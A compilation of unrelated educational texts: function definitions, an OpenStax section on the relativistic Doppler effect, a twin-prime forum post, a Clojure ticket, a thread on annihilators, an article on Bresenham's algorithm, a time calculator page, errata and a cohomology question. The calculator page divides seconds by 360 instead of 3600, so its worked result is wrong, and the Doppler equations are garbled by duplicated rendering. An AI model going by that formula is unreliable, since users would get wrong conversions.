Two sets $f$ and $g$ are equal iff they have the same members (here, Domain and Range) $\Rightarrow f=g \Leftrightarrow D_f=D_g \ \text{and } \ f(x)=g(x)$

11. # Into Function

A function $f$ is into $Y$ iff the range of $f$ is a subset of $Y$. i.e., $R_f \subset Y$

12. # Onto Function

A function $f$ is onto $Y$ iff the range of $f$ is $Y$. i.e., $R_f=Y$

13. Generally a mapping is represented by $f : X \rightarrow Y$.
14. # One-to-One function

A function is called one-to-one if it maps distinct elements onto distinct elements.
A function $f$ is one-to-one iff $x_1 \ne x_2 \Leftrightarrow f(x_1) \ne f(x_2)$ and $x_1 = x_2 \Leftrightarrow f(x_1)=f(x_2)$

15. # Restriction of Function

If $f : X \rightarrow Y$ and if $A \subseteq X$, then $f \cap (A \times Y)$ is a function on $A \ \text{into } \ Y$, called the restriction of $f$ to $A$ and $f \cap (A \times Y)$ is usually abbrevated by $f|A$.

16. # Extension of function

The function $f$ is an extension of a function $g$ iff $g \subseteq f$.


text:
University Physics Volume 3

# 5.7Doppler Effect for Light

University Physics Volume 35.7 Doppler Effect for Light

### Learning Objectives

By the end of this section, you will be able to:

• Explain the origin of the shift in frequency and wavelength of the observed wavelength when observer and source moved toward or away from each other
• Derive an expression for the relativistic Doppler shift
• Apply the Doppler shift equations to real-world examples

As discussed in the chapter on sound, if a source of sound and a listener are moving farther apart, the listener encounters fewer cycles of a wave in each second, and therefore lower frequency, than if their separation remains constant. For the same reason, the listener detects a higher frequency if the source and listener are getting closer. The resulting Doppler shift in detected frequency occurs for any form of wave. For sound waves, however, the equations for the Doppler shift differ markedly depending on whether it is the source, the observer, or the air, which is moving. Light requires no medium, and the Doppler shift for light traveling in vacuum depends only on the relative speed of the observer and source.

### The Relativistic Doppler Effect

Suppose an observer in S sees light from a source in $S′S′$ moving away at velocity v (Figure 5.22). The wavelength of the light could be measured within $S′S′$—for example, by using a mirror to set up standing waves and measuring the distance between nodes. These distances are proper lengths with $S′S′$ as their rest frame, and change by a factor $1−v2/c21−v2/c2$ when measured in the observer’s frame S, where the ruler measuring the wavelength in $S′S′$ is seen as moving.

Figure 5.22 (a) When a light wave is emitted by a source fixed in the moving inertial frame $S′,S′,$ the observer in S sees the wavelength measured in $S′.S′.$ to be shorter by a factor $1−v2/c2.1−v2/c2.$ (b) Because the observer sees the source moving away within S, the wave pattern reaching the observer in S is also stretched by the factor$(cΔt+vΔt)/(cΔt)=1+v/c.(cΔt+vΔt)/(cΔt)=1+v/c.$

If the source were stationary in S, the observer would see a length $cΔtcΔt$ of the wave pattern in time $Δt.Δt.$ But because of the motion of $S′S′$ relative to S, considered solely within S, the observer sees the wave pattern, and therefore the wavelength, stretched out by a factor of

$cΔtperiod+vΔtperiodcΔtperiod=1+vccΔtperiod+vΔtperiodcΔtperiod=1+vc$

as illustrated in (b) of Figure 5.22. The overall increase from both effects gives

$λobs=λsrc(1+vc)11−v2c2=λsrc(1+vc)1(1+vc)(1−vc)=λsrc(1+vc)(1−vc)λobs=λsrc(1+vc)11−v2c2=λsrc(1+vc)1(1+vc)(1−vc)=λsrc(1+vc)(1−vc)$

where $λsrcλsrc$ is the wavelength of the light seen by the source in $S′S′$ and $λobsλobs$ is the wavelength that the observer detects within S.

### Red Shifts and Blue Shifts

The observed wavelength $λobsλobs$ of electromagnetic radiation is longer (called a “red shift”) than that emitted by the source when the source moves away from the observer. Similarly, the wavelength is shorter (called a “blue shift”) when the source moves toward the observer. The amount of change is determined by

$λobs=λs1+vc1−vcλobs=λs1+vc1−vc$

where $λsλs$ is the wavelength in the frame of reference of the source, and v is the relative velocity of the two frames S and $S′.S′.$ The velocity v is positive for motion away from an observer and negative for motion toward an observer. In terms of source frequency and observed frequency, this equation can be written as

$fobs=fs1−vc1+vc.fobs=fs1−vc1+vc.$

Notice that the signs are different from those of the wavelength equation.

### Example 5.11

#### Calculating a Doppler Shift

Suppose a galaxy is moving away from Earth at a speed 0.825c. It emits radio waves with a wavelength of
0.525 m. What wavelength would we detect on Earth?

#### Strategy

Because the galaxy is moving at a relativistic speed, we must determine the Doppler shift of the radio waves using the relativistic Doppler shift instead of the classical Doppler shift.

#### Solution

1. Identify the knowns: $u=0.825c;λs=0.525m.u=0.825c;λs=0.525m.$
2. Identify the unknown: $λobs.λobs.$
3. Express the answer as an equation:
$λobs=λs1+vc1−vc.λobs=λs1+vc1−vc.$
4. Do the calculation:
$λobs=λs1+vc1−vc=(0.525m)1+0.825cc1−0.825cc=1.70m.λobs=λs1+vc1−vc=(0.525m)1+0.825cc1−0.825cc=1.70m.$

#### Significance

Because the galaxy is moving away from Earth, we expect the wavelengths of radiation it emits to be redshifted. The wavelength we calculated is 1.70 m, which is redshifted from the original wavelength of 0.525 m. You will see in Particle Physics and Cosmology that detecting redshifted radiation led to present-day understanding of the origin and evolution of the universe.

Suppose a space probe moves away from Earth at a speed 0.350c. It sends a radio-wave message back to Earth at a frequency of 1.50 GHz. At what frequency is the message received on Earth?

The relativistic Doppler effect has applications ranging from Doppler radar storm monitoring to providing information on the motion and distance of stars. We describe some of these applications in the exercises.

Order a print copy

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text:
# Twin primes sums conjecture

I have found an interesting conjecture between twin primes sums. I don't know if it is already described by someone else. I have checked in internet, but I didn't find any mention of such conjecture.

Could you please tell me if the following conjecture is well known for mathematicians or not?

Let's take twin prime pair 11 and 13 and do the sum:

11+13=24

Now find out sums of two prime numbers which gives the result 24.

5+19=24

7+17=24

You can see that sums 5+19 and 7+17 contain twin primes 5, 7 and 17, 19. Sum of twin primes 11 + 13 can be written by sum of combinations of twin primes 5, 7 and 17, 19.

Another example: Let's take sum of twin prime pair 17, 19:

17+19=36

Its sum can be written with using of other twin primes 5, 7 and 29, 31 as:

5+31=36

7+29=36

We can define twin prime sums conjecture as follow.

Let’s p and q are twin prime numbers; q=p+GAP. For each p+q = a+b = c+d. Where a, b, c, d are prime numbers, where a, c and b, d are prime pairs where c=a+GAP ; d=b-GAP. For twin primes sums conjecture GAP is equal to 2.

Twin prime sums conjecture doesn’t work for prime pairs p, q equals (3, 5), (5, 7), (197, 199), (347, 349).

I have checked the first 100 000 twin primes. The largest checked twin prime pair was 18409199 + 18409201 = 1019 + 36817381 = 1021 + 36817379. It has been found that there are exceptions of p, q for which this conjecture doesn’t work. For sums 3+5; 5+7; 197+199; 347+ 349 it doesn’t exist a, b and c, d which fulfill conjecture.

If twin prime sum conjecture is true then there are unlimited twin prime pairs, because it shows that each twin prime pair sum can be written by sum of combination of smaller and larger twin prime pairs.

For twin primes gap between p,q is equal to 2. I have found that similar conjecture works also for larger even gaps.

Example for GAP equals 6

23+29=52

We can see that GAP between primes 23 and 29 is equal to 6. 29 – 23 = 6. Now we will find sums of other primes which have equal sum to 52.

5+47=52

11+41=52

We have combination of primes 5, 11 and 41, 47. We can see that GAP between those primes is equal to 6, (11 - 5 = 47 - 41 = 6) and is same as the GAP between primes 29 and 23 .

I have also checked this generalized conjecture for primes below 100 000 and even gaps below 100. All of the gaps have few exception pairs p, q for which conjecture doesn’t work, but in major amount of cases conjecture works and for sum of primes with gap we can find another two sums of prime pairs with same gap.

• One thing you might try: take some even numbers (not the sum of twin primes) and see if you can still express them the way you want. There are lots of primes and (for small size) there are lots of twin primes. You might just be seeing some consequences of that. – lulu Nov 24 '15 at 11:06
• Too beautiful to be true but I wish you good luck in your idea, it is not impossible a priori (I think, however, that great mathematicians have failed to demonstrate the infinity of twin primes). Good luck again, your observation is acute. – Piquito Nov 24 '15 at 11:21
• – Lucian Nov 24 '15 at 16:47
• @Lucian Goldbach conjecture says that every even number can be written by sum of two primes. It doesn't say how these primes should looks like. I don't see relation between this conjecture and Goldbach. If this conjecture is true it doesn't proof the Goldbach's and otherwise if Goldbach is true it doesn't proof this one. I see only relation between this conjecture and twin prime conjecture. If this conjecture is true then there are unlimited twin primes. – Ivan Sas Nov 24 '15 at 18:34
• @IvanSas: Goldbach's conjecture stipulates that all numbers $>3$ lie midway between two primes, i.e., $p_{1,2}=n\pm d.$ You set out to investigate the case $d=2.$ Also, for each n, d can have more than one solution. For the cases where $d=2$ is one of the solutions, you have set forth to investigate if such a solution is unique. You have found only a handful of such examples, which is not at all surprising, since the number of solutions for d increases as n increases. – Lucian Nov 24 '15 at 18:44


text:
'numerator and 'denominator fail to handle integral values (i.e. N/1)

Description

Because ratio values reduce to lowest terms and, for integral values where the lowest term is N/1, are auto-converted to BigInts (and formerly Longs), the current behavior of clojure.core/numerator and clojure.core/denominator yield unexpected results.

It's confusing to not support numerator and denominator on integer types as this requires you to always check ratio? before invoking them.

Proposed: Extend numerator and denominator to also work on integer types (long, BigInt, BigInteger) by routing to overloaded methods on Numbers for the desired types.

Patch: clj-1435.patch

Screened by: Alex Miller

Questions from screening for Rich:

1. numerator and denominator are tagged as returning java.math.BigInteger (not clojure.lang.BigInt) and that's what I followed in the patch. Seems like maybe that should be BigInt though? Not sure on what basis to make that decision.
2. Should numerator and denominator accept both BigInteger and BigInt?

None

Activity

Show:
Aaron Brooks
April 8, 2017, 9:54 PM

Can I give it love? If there's a direction that we can agree on, I'd be happy to create the patch.

Alex Miller
April 9, 2017, 12:13 AM

I've screeened the patch that's here already?

Andy Fingerhut
September 27, 2018, 10:32 AM

The new versions of numerator and denominator after this patch was applied perform reflective calls. Is that expected?

Andy Fingerhut
September 27, 2018, 11:06 AM

Created ticket CLJ-2408 to make the question more prominent than a comment on a closed ticket.

Alex Miller
October 6, 2018, 4:58 AM

Patch reverted

Unassigned

Aaron Brooks

Vetted

Code and Test

Major
Configure


text:
# What is the dual concept to “annihilator” called, and do any linear algebra textbooks discuss this concept first?

When introducing dual spaces for the first time, most linear algebra textbooks proceed in what seems to me a rather backwards fashion: the annihilator $\{f\in V^*: f(u)=0\quad \forall u\in U\}$ of a subset/space $U$ of a vector space $V$ is introduced before the dual concept of the "joint kernel"(?) $\{v\in V: f(v)=0\quad \forall f\in W\}$ of a subset/space $W$ of the dual space $V^*$. The latter notion, despite corresponding to the intuitive idea of the solution space of a homogeneous linear system of equations, is then introduced indirectly by mapping $V$ into $V^{**}$ and considering the annihilator of the system of equations $W$ of $V^*$, which is $\{\phi\in V^{**}: \phi(f)=0\quad \forall f\in W\}$. This seems a pity as many students find the isomorphism of a finite dimensional vector space with its double dual difficult to grasp!

Worse, as the "(?)" above suggests, there appears to be no common terminology or notation for the concept dual to annihilator. Possibilities include "(joint) kernel, null/zero space, pre-annihilator, solution space". I'd be grateful for any pointers to textbooks which introduce the concept directly, or any suggestions for terminology and notation.

Update: Many thanks for the suggestions so far. I am still rather surprised and disappointed by the lack of references to elementary linear algebra text books which discuss solution spaces (aka null spaces, joint kernels) before or on the same footing as annihilators. I am unconvinced by the arguments that have so far been made for this omission.

Instead it seems to me that the current situation is the result of inertia. The "annihilator" is a term that caught on, and has been carried forward in the absence of a cool name for the dual concept. In this respect I like the invention of the "vanquished".

The question is not moot as I am currently lecturing this material. I am going to stick to "solution/null space" and "joint kernel". I will then discuss duality and row rank = column rank without ever mentioning the double dual (the double dual will come later in the course).

In preparing this, I noticed the fact that solution spaces and annihilators provide a Galois connection between the posets of subsets/subspaces of a vector space and its dual (that is, solution spaces and annihilators are contravariant adjoint functors between these posets). I've seen discussion of this in the context of annihilators in ring theory, but it seems to me to be at the heart of the concept of duality for vector spaces. I hope this rings some bells among MO readers.

Such categorical thinking leads to a fairly clean analysis of solution spaces and annihilators, which has in turn simplified some results subsequently.

-
Can you define your terminology a bit more clearly? Since there appears to be no common terminology or notation, perhaps you can illustrate it by an example, so others can be sure what concept you are talking about? –  Willie Wong Oct 16 '10 at 20:27
I've added a couple of explicit definitions which I hope clarify what I am talking about. The dual space of a vector space V over a field F is the space of linear maps from V to F. –  David MJC Oct 16 '10 at 20:36
I put excerpts from Nering below, I like the $\bot$ notation. He does not give an English phrase either. Given $W \subseteq V^*,$ I nominate "things smushed by $W$." –  Will Jagy Oct 16 '10 at 21:47
How about "the vanquished of $W.$" –  Will Jagy Oct 16 '10 at 22:04
I vaguely remember that when I was an undergraduate, we used orthogonal for the annihilator, and ante-orthogonal for your object (what comes "before" the orthogonal? orthogonal in the "previous" space?). It involved using the orthogonal notation $\perp$ for the orthogonal and an upside down version for the ante-orthogonal. I can see the gain in rigor offered by this, while hinting strongly at the inner product situation (that we had not yet covered). Still, I'm not sure how enlightening it was, and it did take me a bit before I realized the link with systems of equations. –  Thierry Zell Oct 24 '10 at 23:09

In the book "Algebra Lineal y Geometría" by Angel Rafael Larotonda, he introduces the concept right after introducing the annihilator of a set $M\in V$ as $M^o$, he introduces the "left" annihilator of a set $F \in V^*$ as $^oF=${$x \in V: f(x)=0 \; \forall \; f \in F$}, the only problem is that its written in spanish. I have also seen the concept introduced directly as pre-annihilator, but alas, also in spanish books.

-
This is the best answer so far (and I voted it up). However, the left annihilator still has a secondary role ("pre-annihilator" makes the secondary nature of the concept even more plain) despite the fact that "solution space" ("vectors satisfying the equations") is a more fundamental and intuitive concept than "annihilator" ("equations which the vectors satisfy"). Are all our linear algebra books this bad with regard to dual spaces? Or is there a textbook which explains that the dual space is the space of equations, and that subspaces of equations have solution spaces? –  David MJC Oct 16 '10 at 23:50
In my opinion, it isn't that "all our linear algebra books are this bad". It's the mathematic trend to teach the concept from which you can branch a lot of stuff than the motivation, concrete examples. I think this mathoverflow.net/questions/19152/… question in MO can explain very clearly what I have in mind. –  Maximiliano Valle Oct 17 '10 at 0:38
Those are noble goals, but are they really why annihilators are given primacy ahead of null spaces? After all, we don't usually define continuity in metric spaces first in terms of open sets, then give the metric definition. Also, unlike open sets, annihilators do not yield a whole new generalized foundation for linear algebra (that I know of!). They are just part of the toolkit, and work best in the finite dimensional case, where they are an equivalent dual notion to null spaces. In general, annihilators have the advantage over null spaces that they iterate - perhaps that is what you mean? –  David MJC Oct 18 '10 at 20:16

Let $V_0\leq V$ be a subspace of the vector space $V$. If $ann(V_0)\leq V^*$ is its annihilator, then the dual of $ann(V_0)$ is isomorphic with the quotient space $V/V_0$:

$ann(V_0) \cong \frac{V}{V_0}$

This link may be useful: http://en.wikipedia.org/wiki/Dual_space#Quotient_spaces_and_annihilators

Update:

Oops, after I added my answer, the page refreshed and I saw that you edited your comment. It seems that my answer does not apply to your question...

Anyway, I see no reason to give it a different name than annihilator, even if it annihilates a subspace of $V^*$. It has the same definition.

Update 2

It may depend on the context:

In functional analysis some use the notion of pre-annihilator because it is important to distinguish $V^{**}$ from $V$. Example: Dales, Aiena - Introduction to Banach Algebras, Operators and Harmonic Analysis.

When $V^{**}\cong V$ some don't necessarily make the distinction. Example: Marsden and Ratiu - The Breadth of Symplectic and Poisson Geometry

But it may be a good practice to specify in what space a subspace is the annihilator of a given subspace: Example: In Automorphic Forms on GL(2), Jacquet and Langlands said: "If $\tilde V_2$ is the annihilator of $V_1$ in $\tilde V$ then $V_1$ is the annihilator of $\tilde V_2$ in $V$.

For non-commutative rings, ideals, semigroups, one specifies whether the annihilator is left or right. Examples: G. Gratzer - Universal Algebra Steven G. Krantz (Ed.) - Dictionary of Algebra, Arithmetic, and Trigonometry

-
Apologies for my confusing initial post: by "dual concept", I did not mean "dual space". In the notation of my post, the annihilator of $W$ is a subspace of $V^{**}$, not a subspace of $V$, so the definition is not the same. –  David MJC Oct 16 '10 at 21:21
After reading your updated question I find that at least its title was clearly formulated from the beginning. So it's my mistake :) –  Cristi Stoica Oct 16 '10 at 21:57
Many thanks for the references. I have also seen authors making the "annihilator in..." distinction. –  David MJC Oct 18 '10 at 21:06


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# Bresenham's line algorithm

This is an algorithm that determines which points in an n-dimensional raster should be plotted in order to form a close approximation to a straight line between two given points. It is commonly used to draw lines on a computer screen, as it uses only integer addition, subtraction and bit shifting, all of which are very cheap operations in standard computer architectures. It is one of the earliest algorithms developed in the field of computer graphics. A minor extension to the original algorithm also deals with drawing circles.

While algorithms such as Wu's algorithm are also frequently used in modern computer graphics because they can support antialiasing, the speed and simplicity of Bresenham's line algorithm means that it is still important. The algorithm is used in hardware such as plotters and in the graphics chips of modern graphics cards. It can also be found in many software graphics libraries. Because the algorithm is very simple, it is often implemented in either the firmware or the graphics hardware of modern graphics cards.

The label "Bresenham" is used today for a whole family of algorithms extending or modifying Bresenham's original algorithm. See further references below.

## History

The algorithm was developed by Jack Elton Bresenham in 1962 at IBM. In 2001 Bresenham wrote:[1]

I was working in the computation lab at IBM's San Jose development lab. A Calcomp plotter had been attached to an IBM 1401 via the 1407 typewriter console. [The algorithm] was in production use by summer 1962, possibly a month or so earlier. Programs in those days were freely exchanged among corporations so Calcomp (Jim Newland and Calvin Hefte) had copies. When I returned to Stanford in Fall 1962, I put a copy in the Stanford comp center library. A description of the line drawing routine was accepted for presentation at the 1963 ACM national convention in Denver, Colorado. It was a year in which no proceedings were published, only the agenda of speakers and topics in an issue of Communications of the ACM. A person from the IBM Systems Journal asked me after I made my presentation if they could publish the paper. I happily agreed, and they printed it in 1965.

Bresenham's algorithm was later modified to produce circles, the resulting algorithm being sometimes known as either "Bresenham's circle algorithm" or midpoint circle algorithm.

## The algorithm

Illustration of the result of Bresenham's line algorithm. (0,0) is at the top left corner of the grid, (1,1) is at the top left end of the line and (11, 5) is at the bottom right end of the line.

The common conventions will be used:

• the top-left is (0,0) such that pixel coordinates increase in the right and down directions (e.g. that the pixel at (7,4) is directly above the pixel at (7,5)), and
• that the pixel centers have integer coordinates.

The endpoints of the line are the pixels at (x0, y0) and (x1, y1), where the first coordinate of the pair is the column and the second is the row.

The algorithm will be initially presented only for the octant in which the segment goes down and to the right (x0x1 and y0y1), and its horizontal projection $x_1-x_0$ is longer than the vertical projection $y_1-y_0$ (the line has a negative slope whose absolute value is less than 1). In this octant, for each column x between $x_0$ and $x_1$, there is exactly one row y (computed by the algorithm) containing a pixel of the line, while each row between $y_0$ and $y_1$ may contain multiple rasterized pixels.

Bresenham's algorithm chooses the integer y corresponding to the pixel center that is closest to the ideal (fractional) y for the same x; on successive columns y can remain the same or increase by 1. The general equation of the line through the endpoints is given by:

$\frac{y - y_0}{y_1-y_0} = \frac{x-x_0}{x_1-x_0}$.

Since we know the column, x, the pixel's row, y, is given by rounding this quantity to the nearest integer:

$y = \frac{y_1-y_0}{x_1-x_0} (x-x_0) + y_0$.

The slope $(y_1-y_0)/(x_1-x_0)$ depends on the endpoint coordinates only and can be precomputed, and the ideal y for successive integer values of x can be computed starting from $y_0$ and repeatedly adding the slope.

In practice, the algorithm can track, instead of possibly large y values, a small error value between −0.5 and 0.5: the vertical distance between the rounded and the exact y values for the current x. Each time x is increased, the error is increased by the slope; if it exceeds 0.5, the rasterization y is increased by 1 (the line continues on the next lower row of the raster) and the error is decremented by 1.0.

In the following pseudocode sample plot(x,y) plots a point and abs returns absolute value:

 function line(x0, x1, y0, y1)
int deltax := x1 - x0
int deltay := y1 - y0
real error := 0
real deltaerr := abs (deltay / deltax)    // Assume deltax != 0 (line is not vertical),
// note that this division needs to be done in a way that preserves the fractional part
int y := y0
for x from x0 to x1
plot(x,y)
error := error + deltaerr
if error ≥ 0.5 then
y := y + 1
error := error - 1.0

### Optimization

The problem with this approach is that computers operate relatively slowly on fractional numbers like error and deltaerr; moreover, errors can accumulate over many floating-point additions. Working with integers will be both faster and more accurate. The trick we use is to multiply all the fractional numbers (including the constant 0.5) in the code above by deltax, which enables us to express them as integers. This results in a divide inside the main loop, however. To deal with this we modify how error is initialized and used so that rather than starting at zero and counting up towards 0.5, it starts at 0.5 and counts down to zero. The new program looks like this:

 function line(x0, y0, x1, y1)
boolean steep := abs(y1 - y0) > abs(x1 - x0)
if steep then
swap(x0, y0)
swap(x1, y1)
if x0 > x1 then
swap(x0, x1)
swap(y0, y1)
int deltax := x1 - x0
int deltay := abs(y1 - y0)
int error := deltax / 2
int ystep
int y := y0
if y0 < y1 then ystep := 1 else ystep := -1
for x from x0 to x1
if steep then plot(y,x) else plot(x,y)
error := error - deltay
if error < 0 then
y := y + ystep
error := error + deltax

Remark: If you need to control the points in order of appearance (for example to print several consecutive dashed lines) you will have to simplify this code by skipping the 2nd swap:

function line(x0, y0, x1, y1)
boolean steep := abs(y1 - y0) > abs(x1 - x0)
if steep then
swap(x0, y0)
swap(x1, y1)
int deltax := abs(x1 - x0)
int deltay := abs(y1 - y0)
int error := deltax / 2
int ystep
int y := y0

if x0 < x1 then inc := 1 else inc := -1 REM added

if y0 < y1 then ystep := 1 else ystep := -1
for x from x0 to x1 with increment inc REM changed
if steep then plot(y,x) else plot(x,y)
REM increment here a variable to control the progress of the line drawing
error := error - deltay
if error < 0 then
y := y + ystep
error := error + deltax

### Simplification

It is further possible to eliminate the swaps in the initialisation by considering the error calculation for both directions simultaneously:

 function line(x0, y0, x1, y1)
dx := abs(x1-x0)
dy := abs(y1-y0)
if x0 < x1 then sx := 1 else sx := -1
if y0 < y1 then sy := 1 else sy := -1
err := dx-dy

loop
plot(x0,y0)
if x0 = x1 and y0 = y1 exit loop
e2 := 2*err
if e2 > -dy then
err := err - dy
x0 := x0 + sx
end if
if e2 < dx then
err := err + dx
y0 := y0 + sy
end if
end loop

## Derivation

To derive Bresenham's algorithm, two steps must be taken. The first step is transforming the equation of a line from the typical slope-intercept form into something different; and then using this new equation for a line to draw a line based on the idea of accumulation of error.

### Line equation

y=f(x)=.5x+1 or f(x,y)=x-2y+2
Positive and negative half-planes

The slope-intercept form of a line is written as

$y = f(x) = mx + b$

where m is the slope and b is the y-intercept. This is a function of only x and it would be useful to make this equation written as a function of both x and y. Using algebraic manipulation and recognition that the slope is the "rise over run" or $\Delta y/\Delta x$ then

\begin{align} y & = mx + b \\ y & = \frac{(\Delta y)}{(\Delta x)} x + b \\ (\Delta x) y & = (\Delta y) x + (\Delta x) b \\ 0 & = (\Delta y) x - (\Delta x) y + (\Delta x) b \end{align}

Letting this last equation be a function of x and y then it can be written as

$f(x,y) = 0 = Ax + By + C$

where the constants are

• $A = \Delta y$
• $B = - \Delta x$
• $C = (\Delta x) b$

The line is then defined for some constants A, B, and C and anywhere $f(x,y) = 0$. For any $(x,y)$ not on the line then $f(x,y) \ne 0$. It should be noted that everything about this form involves only integers if x and y are integers since the constants are necessarily integers.

As an example, the line $y=\frac{1}{2}x + 1$ then this could be written as $f(x,y) = x - 2y + 2$. The point (2,2) is on the line

$f(2,2) = x - 2y + 2 = (2) - 2(2) + 2 = 2 - 4 + 2 = 0$

and the point (2,3) is not on the line

$f(2,3) = (2) - 2(3) + 2 = 2 - 6 + 2 = -2$

and neither is the point (2,1)

$f(2,1) = (2) - 2(1) + 2 = 2 - 2 + 2 = 2$

Notice that the points (2,1) and (2,3) are on opposite sides of the line and f(x,y) evaluates to positive or negative. A line splits a plane into halves and the half-plane that has a negative f(x,y) can be called the negative half-plane, and the other half can called the positive half-plane. This observation is very important in the remainder of the derivation.

### Algorithm

Clearly, the starting point is on the line

$f(x_0, y_0) = 0$

only because the line is defined to start and end on integer coordinates (though it is entirely reasonable to want to draw a line with non-integer end points).

Candidate point (2,2) in blue and two candidate points in green (3,2) and (3,3)

Keeping in mind that the slope is less-than-or-equal-to zero, the problem now presents itself as to whether the next point should be at $(x_0 + 1, y_0)$ or $(x_0 + 1, y_0 + 1)$. Perhaps intuitively, the point should be chosen based upon which is closer to the line at $x_0 + 1$. If it is closer to the former then include the former point on the line, if the latter then the latter. To answer this, evaluate the line function at the midpoint between these two points:

$f(x_0 + 1, y_0 + 1/2)$

If the value of this is positive then the ideal line is below the midpoint and closer to the candidate point $(x_0+1,y_0+1)$; in effect the y coordinate has advanced. Otherwise, the ideal line passes through or above the midpoint, and the y coordinate has not advanced; in this case choose the point $(x_0+1,y_0)$. This observation is crucial to understand! The value of the line function at this midpoint is the sole determinant of which point should be chosen.

The image to the right shows the blue point (2,2) chosen to be on the line with two candidate points in green (3,2) and (3,3). The black point (3, 2.5) is the midpoint between the two candidate points.

#### Algorithm with Integer Arithmetic

Alternatively, the difference between points can be used instead of evaluating f(x,y) at midpoints. This alternative method allows for integer-only arithmetic, which is generally considered faster than using floating-point arithmetic. To derive the alternative method, define the difference to be as follows:

$D = f(x_0+1,y_0+1/2) - f(x_0,y_0)$

For the first decision, this formulation is equivalent to the midpoint method since $f(x_0,y_0)=0$ at the starting point. Simplifying this expression yields:

$D = \left[ A(x_0+1) + B (y_0+\frac{1}{2}) + C \right] - \left[ A x_0 + B y_0 + C \right]$
$= \left[ Ax_0 + B y_0+ C + A + \frac {1}{2} B\right] - \left[ A x_0 + B y_0 + C \right]$
$= A + \frac{1}{2} B$

Just as with the midpoint method, if D is positive, then choose $(x_0+1,y_0+1)$, otherwise choose $(x_0+1,y_0)$.

The decision for the second point can be written as

$f(x_0+2,y_0+1/2) - f(x_0+1,y_0+1/2) = A = \Delta y$
$f(x_0+2,y_0+3/2) - f(x_0+1,y_0+1/2) = A+B = \Delta y - \Delta x$

If the difference is positive then $(x_0+2,y_0+1)$ is chosen, otherwise $(x_0+2,y_0)$. This decision can be generalized by accumulating the error.

Plotting the line from (0,1) to (6,4) showing a plot of grid lines and pixels

All of the derivation for the algorithm is done. One performance issue is the 1/2 factor in the initial value of D. Since all of this is about the sign of the accumulated difference, then everything can be multiplied by 2 with no consequence.

This results in an algorithm that uses only integer arithmetic.

plotLine(x0,y0, x1,y1)
dx=x1-x0
dy=y1-y0

D = 2*dy - dx
plot(x0,y0)
y=y0

for x from x0+1 to x1
if D > 0
y = y+1
plot(x,y)
D = D + (2*dy-2*dx)
else
plot(x,y)
D = D + (2*dy)

Running this algorithm for $f(x,y) = x-2y+2$ from (0,1) to (6,4) yields the following differences with dx=6 and dy=3:

• D=2*3-6=0
• plot(0,1)
• Loop from 1 to 6
• x=1: D≤0: plot(1,1), D=6
• x=2: D>0: y=2, plot(2,2), D=6+(6-12)=0
• x=3: D≤0: plot(3,2), D=6
• x=4: D>0: y=3, plot(4,3), D=6+(6-12)=0
• x=5: D≤0: plot(5,3), D=6
• x=6: D>0: y=4, plot(6,4), D=6+(6-12)=0

The result of this plot is shown to the right. The plotting can be viewed by plotting at the intersection of lines (blue circles) or filling in pixel boxes (yellow squares). Regardless, the plotting is the same.

### All cases

However, as mentioned above this is only for the first octant. This means there are eight possible cases to consider. The simplest way to extend the same algorithm, if implemented in hardware, is to flip the co-ordinate system on the input and output of the single-octant drawer.

 function switchToOctantZeroFrom(octant, x, y)
switch(octant)
case 0: return (x,y)
case 1: return (y,x)
case 2: return (y, -x)
case 3: return (-x, y)
case 4: return (-x, -y)
case 5: return (-y, -x)
case 6: return (-y, x)
case 7: return (x, -y)

 Octants:
\2|1/
3\|/0
---+---
4/|\7
/5|6\

## Similar algorithms

The Bresenham algorithm can be interpreted as slightly modified digital differential analyzer (using 0.5 as error threshold instead of 0, which is required for non-overlapping polygon rasterizing).

The principle of using an incremental error in place of division operations has other applications in graphics. It is possible to use this technique to calculate the U,V co-ordinates during raster scan of texture mapped polygons[citation needed]. The voxel heightmap software-rendering engines seen in some PC games also used this principle.

Bresenham also published a Run-Slice (as opposed to the Run-Length) computational algorithm.

An extension to the algorithm that handles thick lines was created by Alan Murphy at IBM.


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Enter any number of minutes and seconds into the calculator to determine the equivalent fraction of an hour that those minutes represent.

## Fraction of An Hour Formula

The following formula is used to calculate a fraction of an hour.

Y = X / 60 + Z / 360
• Where Y is the fraction of the hour
• X is the the number of minutes
• Z is the number of seconds

To calculate a fraction of an hour, divide the number of minutes by 60, then add it to the number of seconds divided by 360.

## Fraction of An Hour Definition

What is a fraction of an hour?

A fraction of an hour represents either the faction or decimal equivalent of a 60 minute time period. In other words, it is simply a fraction out of the integer 60.

## Example Problem

How to calculate a fraction of an hour?

The following example problem outlines the necessary steps in order to calculate the fraction/decimal equivalent of an hour.

First, determine the total number of minutes. In this example, the total number of minutes will be 45.

Next, determine the total number of seconds. Sometimes, there may be no seconds. In those cases, the seconds value would be 0. For this problem, there are 20 seconds.

Finally, calculate the fraction of an hour using the formula above:

Y = X / 60 + Z / 360

Y = 45 / 60 + 20/360

Simplifying the fraction above we get:

Y = 3/4 + 1 /18

Adding these together and converting to a decimal format yields the following result:

Y = .805555


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# Books:Analysis - Part 1: Elements - Krzysztof Maurin

## Alec's progress

Book progress
Key
• Blue boxes are unread pages
• Green pages are read once
• Orange are read more than once
• Red are read the most frequent

## Mistakes

• p59 - the line in the middle that reads: "[ilmath]x-x_0:=h[/ilmath], [ilmath]f(x+h)-f(x)=f'(x)h+r(x,h)[/ilmath]" should read:
• "[ilmath]x-x_0:=h[/ilmath], [ilmath]f(x_0+h)-f(x)=f'(x_0)h+r(x_0,h)[/ilmath]" otherwise we're dealing with [ilmath]f(2x+x_0)-f(x)[/ilmath] on the LHS and there are problems. If you swap [ilmath]h=x-x_0[/ilmath] to [ilmath]h=x_0-x[/ilmath] the [ilmath]f(x_0)-f(x)[/ilmath] part of the definition is negative what it ought to be; although the linear map's (the differential) argument is negated so it still sort of works out, either way replacing [ilmath]x[/ilmath] with [ilmath]x_0[/ilmath] is the easiest and most straightforward solution. This is inline with the definition of differentiability (Banach Space) given on p161
• p149 - wrongly (and explicitly) states that a norm may be a function of the form [ilmath]\Vert\cdot\Vert:V\rightarrow\mathbb{C} [/ilmath], see the norm page (there's a warning note on the first line of the definition section)


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# Varying definitions of cohomology

So I know that given a chain complex we can define the $d$-th cohomology by taking $\ker{d}/\mathrm{im}_{d+1}$. But I don't know how this corresponds to the idea of holes in topological spaces (maybe this is homology, I'm a tad confused).

-
One can compute (co)homology of different complexes. In particular, for any topological space one can define it's singular complex (see Eric's answer for an idea how it's done) which in some sense indeed counts holes. But the idea of (co)homology is more general. – Grigory M Jul 24 '10 at 15:28
